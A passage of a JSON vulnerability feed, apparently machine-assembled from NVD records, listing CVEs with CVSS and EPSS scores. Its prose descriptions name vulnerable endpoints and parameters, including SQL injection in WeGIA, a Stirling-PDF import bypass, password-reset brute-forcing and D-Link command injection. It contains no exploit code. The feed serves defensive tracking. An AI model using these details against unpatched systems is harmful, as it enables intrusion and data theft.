fixes.","publishedAt":"2026-10-14T23:17:27.043Z","updatedAt":"2026-10-16T18:17:34.013Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110858","asOf":"2026-10-16T18:17:34.013Z"},"epss":{"probability":0.00465,"percentile":0.3998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110858","type":"primary","publishedAt":"2026-10-14T23:17:27.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108336","cveId":"CVE-2026-108336","aliases":[],"kind":"vulnerability","title":"When the default self-signed certificate is used, an attacker could gain administrative access to the application.","summary":"When the default self-signed certificate is used, an attacker could gain administrative access to the application.\n\n\n\nThe SSL certificate for the web interface is used to sign JWT access tokens that are used to validate that the user is logged in. When the default SSL certificate is used, an attacker could have the capability to sign JWT access tokens and bypass login.\n\n\n\nAn attacker could gain administrative access to the application and perform actions like configuring the service or requesting log collection. Device credentials and customer data cannot be accessed with this vulnerability.","detail":"When the default self-signed certificate is used, an attacker could gain administrative access to the application.\n\n\n\nThe SSL certificate for the web interface is used to sign JWT access tokens that are used to validate that the user is logged in. When the default SSL certificate is used, an attacker could have the capability to sign JWT access tokens and bypass login.\n\n\n\nAn attacker could gain administrative access to the application and perform actions like configuring the service or requesting log collection. Device credentials and customer data cannot be accessed with this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T22:17:22.433Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108336","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00223,"percentile":0.1279,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108336&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108336","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108336","type":"primary","publishedAt":"2026-10-14T22:17:22.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108336&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108336, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108335","cveId":"CVE-2026-108335","aliases":[],"kind":"vulnerability","title":"When the password reset functionality is enabled, and email is configured, an attacker could take over any account using a brute-force attack.","summary":"When the password reset functionality is enabled, and email is configured, an attacker could take over any account using a brute-force attack.\n\n\n\nThere is no rate limiting on the attempts to enter the reset code, leading to the possibility of a brute force solution to the password reset challenge.\n\n\n\nAn attacker could gain administrative access to the application and perform actions like configuring the service or requesting log collection. Device credentials and customer data cannot be accessed with this vulnerability.","detail":"When the password reset functionality is enabled, and email is configured, an attacker could take over any account using a brute-force attack.\n\n\n\nThere is no rate limiting on the attempts to enter the reset code, leading to the possibility of a brute force solution to the password reset challenge.\n\n\n\nAn attacker could gain administrative access to the application and perform actions like configuring the service or requesting log collection. Device credentials and customer data cannot be accessed with this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T22:17:22.290Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108335","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00239,"percentile":0.14885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108335&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108335","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108335","type":"primary","publishedAt":"2026-10-14T22:17:22.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108335&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108335, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55684","cveId":"CVE-2026-55684","aliases":[],"kind":"vulnerability","title":"WeGIA is a web manager for charitable institutions.","summary":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the unauthenticated web/html/socio/sistema/cadastro_cobrancas_geracao.php endpoint accepts form-encoded POST data through extract($_REQUEST) and interpolates codigo, descricao, data_emissao, data_vencimento, data_pagamento, valor, valor_pago, status, link_cobranca, link_boleto, linha_digitavel, and id_socio into a raw INSERT statement. Numeric parameters are unquoted and unvalidated, while string parameters can break out of their single-quoted SQL context. A remote attacker can execute arbitrary SQL to read or modify billing, member, employee, permission, and credential data or to delete database tables. This issue is fixed in version 3.8.6.","detail":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the unauthenticated web/html/socio/sistema/cadastro_cobrancas_geracao.php endpoint accepts form-encoded POST data through extract($_REQUEST) and interpolates codigo, descricao, data_emissao, data_vencimento, data_pagamento, valor, valor_pago, status, link_cobranca, link_boleto, linha_digitavel, and id_socio into a raw INSERT statement. Numeric parameters are unquoted and unvalidated, while string parameters can break out of their single-quoted SQL context. A remote attacker can execute arbitrary SQL to read or modify billing, member, employee, permission, and credential data or to delete database tables. This issue is fixed in version 3.8.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:50.783Z","updatedAt":"2026-10-15T16:18:17.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55684","asOf":"2026-10-15T16:18:17.000Z"},"epss":{"probability":0.00474,"percentile":0.4067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55684&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55684","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55684","type":"primary","publishedAt":"2026-10-14T20:17:50.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55684&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55684, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55683","cveId":"CVE-2026-55683","aliases":[],"kind":"vulnerability","title":"WeGIA is a web manager for charitable institutions.","summary":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the unauthenticated web/html/socio/sistema/cadastro_cobranca.php endpoint accepts POST input through extract($_REQUEST) and directly incorporates valor, valor_pago, id_pessoa, id_socio, and id_sociotipo into UPDATE, INSERT, and SELECT statements without prepared statements. A remote attacker can use the affected parameters to execute arbitrary SQL that reads or modifies WeGIA database content, including billing records and credential data. The same SQL access can delete or truncate tables, causing loss of application data. This issue is fixed in version 3.8.6.","detail":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the unauthenticated web/html/socio/sistema/cadastro_cobranca.php endpoint accepts POST input through extract($_REQUEST) and directly incorporates valor, valor_pago, id_pessoa, id_socio, and id_sociotipo into UPDATE, INSERT, and SELECT statements without prepared statements. A remote attacker can use the affected parameters to execute arbitrary SQL that reads or modifies WeGIA database content, including billing records and credential data. The same SQL access can delete or truncate tables, causing loss of application data. This issue is fixed in version 3.8.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:50.640Z","updatedAt":"2026-10-15T16:18:16.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55683","asOf":"2026-10-15T16:18:16.743Z"},"epss":{"probability":0.00592,"percentile":0.48018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55683&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55683","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55683","type":"primary","publishedAt":"2026-10-14T20:17:50.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55683&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55683, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55680","cveId":"CVE-2026-55680","aliases":[],"kind":"vulnerability","title":"WeGIA is a web manager for charitable institutions.","summary":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, unauthenticated POST requests to web/html/socio/sistema/cadastro_cobranca.php can place a quoted SQL expression in the codigo parameter, which extract($_REQUEST) passes into the WHERE codigo= clause of an UPDATE statement without validation or parameter binding. Quoting the value bypasses MariaDB type conversion for the VARCHAR column and permits arbitrary SQL execution without a session. An attacker can read or modify database content, including user credential hashes and billing records in the cobrancas table. This issue is fixed in version 3.8.6.","detail":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, unauthenticated POST requests to web/html/socio/sistema/cadastro_cobranca.php can place a quoted SQL expression in the codigo parameter, which extract($_REQUEST) passes into the WHERE codigo= clause of an UPDATE statement without validation or parameter binding. Quoting the value bypasses MariaDB type conversion for the VARCHAR column and permits arbitrary SQL execution without a session. An attacker can read or modify database content, including user credential hashes and billing records in the cobrancas table. This issue is fixed in version 3.8.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:50.193Z","updatedAt":"2026-10-15T16:18:16.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55680","asOf":"2026-10-15T16:18:16.273Z"},"epss":{"probability":0.00492,"percentile":0.42016,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55680&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55680","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55680","type":"primary","publishedAt":"2026-10-14T20:17:50.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55680&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55680, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85714","cveId":"CVE-2026-85714","aliases":[],"kind":"vulnerability","title":"Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files.","summary":"Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files. Prior to 2.13.2, an authenticated administrator using the default H2 database and security mode can upload a crafted SQL file to POST /api/v1/database/import-database. DatabaseService.validateSqlContent() splits normalized input on semicolons and accepts a statement when it contains any allowed keyword, allowing dangerous H2 functions such as FILE_READ and CSVWRITE, plus CREATE ALIAS, to bypass the insufficient whitelist and execute side effects when RUNSCRIPT processes the file. This permits arbitrary file access. The demonstrated operating-system command execution chain writes attacker-controlled startup files to a user-site location and then triggers an application Python interpreter configured to load those startup files, resulting in command execution as the JVM service account. This issue is fixed in version 2.13.2.","detail":"Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files. Prior to 2.13.2, an authenticated administrator using the default H2 database and security mode can upload a crafted SQL file to POST /api/v1/database/import-database. DatabaseService.validateSqlContent() splits normalized input on semicolons and accepts a statement when it contains any allowed keyword, allowing dangerous H2 functions such as FILE_READ and CSVWRITE, plus CREATE ALIAS, to bypass the insufficient whitelist and execute side effects when RUNSCRIPT processes the file. This permits arbitrary file access. The demonstrated operating-system command execution chain writes attacker-controlled startup files to a user-site location and then triggers an application Python interpreter configured to load those startup files, resulting in command execution as the JVM service account. This issue is fixed in version 2.13.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:22.050Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85714","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.03406,"percentile":0.8878,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85714&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85714","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85714","type":"primary","publishedAt":"2026-10-14T19:17:22.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85714&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85714, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110770","cveId":"CVE-2026-110770","aliases":[],"kind":"vulnerability","title":"Databasus 3.7.0 through 3.61.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to brute-force password reset codes via POST...","summary":"Databasus 3.7.0 through 3.61.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to brute-force password reset codes via POST /api/v1/users/reset-password. Attackers can request a six-digit code for a known email, then guess it without rate limiting, lockout, or invalidation to take over accounts, including administrators.","detail":"Databasus 3.7.0 through 3.61.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to brute-force password reset codes via POST /api/v1/users/reset-password. Attackers can request a six-digit code for a known email, then guess it without rate limiting, lockout, or invalidation to take over accounts, including administrators.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:13.077Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110770","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00495,"percentile":0.42197,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110770","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110770","type":"primary","publishedAt":"2026-10-14T19:17:13.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110770, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110536","cveId":"CVE-2026-110536","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in D-Link DIR-868L 2.01b05. This impacts the function system of the file /htdocs/cgibin of the component HNAP CGI Handler.","summary":"A vulnerability was determined in D-Link DIR-868L 2.01b05. This impacts the function system of the file /htdocs/cgibin of the component HNAP CGI Handler. Executing a manipulation of the argument SOAPACTION can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.","detail":"A vulnerability was determined in D-Link DIR-868L 2.01b05. This impacts the function system of the file /htdocs/cgibin of the component HNAP CGI Handler. Executing a manipulation of the argument SOAPACTION can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:10.610Z","updatedAt":"2026-10-15T15:17:28.197Z","regions":["Global"],"vendor":null,"product":null,"stacks":["D-Link"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110536","asOf":"2026-10-15T15:17:28.197Z"},"epss":{"probability":0.02934,"percentile":0.86997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110536&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110536","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110536","type":"primary","publishedAt":"2026-10-14T19:17:10.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110536&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110536, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102748","cveId":"CVE-2026-102748","aliases":[],"kind":"vulnerability","title":"Dgraph is an open source distributed GraphQL database.","summary":"Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.","detail":"Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:05.700Z","updatedAt":"2026-10-15T16:17:32.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102748","asOf":"2026-10-15T16:17:32.450Z"},"epss":{"probability":0.00486,"percentile":0.41588,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102748","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102748","type":"primary","publishedAt":"2026-10-14T19:17:05.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for 